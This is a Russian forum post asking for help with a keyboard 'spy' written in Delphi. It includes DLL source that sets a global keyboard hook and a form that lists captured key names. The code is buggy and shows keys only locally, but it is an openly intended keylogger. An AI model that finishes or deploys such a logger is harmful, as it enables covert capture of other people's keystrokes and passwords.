Доброго времени суток. Возникла необходимость написать шпион для клавы, лазил по форумам, читал кучу примеров. Попробывал с реализацией через dll, пока окно моей программы активно хук работает отлично (в поле листбокса выписывает нажатые кнопки), как только окно перестает быть активным в поле листбокса ничего не пишется. Еще одна странность-если запускать через отладчик, затем убрать фокус с проги, понажимать кнопки, затем остановить прогу, то все нажатые кнопки выпишутся в листбокс через редактор среды дельфы (только те кнопки которые были нажаты когда окно было неактивно)....помогите разобраться пожалуйста.
текст библиотеки:
Код | library hook; Uses Windows, Messages, Sysutils;
var myHook: HHook = 0;
function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall; var c: char; f: text; key: array [0..16] of Char; s:string; m1,m2:hwnd; begin if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then begin
GetKeyNameText(lParam,key,SizeOf(key));
m1:=findwindow(nil,'form1'); m2:=findwindowex(m1,0,'tlistbox',nil); s:=key; SendMessage(m2,LB_ADDSTRING,0,LongInt(Pchar(s)));
result:=CallNextHookEx(myHook,Code,wParam,lParam);
end; end;
procedure setHook(Hook: boolean) export; stdcall; begin if Hook then begin if myHook=0 then myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,0); end else begin if myHook<>0 then UnHookWindowsHookEx(myHook); myHook:=0; end; end;
exports setHook name 'SetHook';
begin end.
|
Текст экзешника:
Код | unit Unit1;
interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls;
type TForm1 = class(TForm) ListBox1: TListBox; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure FormShow(Sender: TObject);
private { Private declarations } public { Public declarations } end;
var Form1: TForm1;
procedure setHook(Hook: boolean) stdcall; external 'hook.dll' name 'SetHook';
implementation
{$R *.DFM}
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin setHook(false); end; procedure TForm1.FormShow(Sender: TObject); begin setHook(true); end;
end.
|
|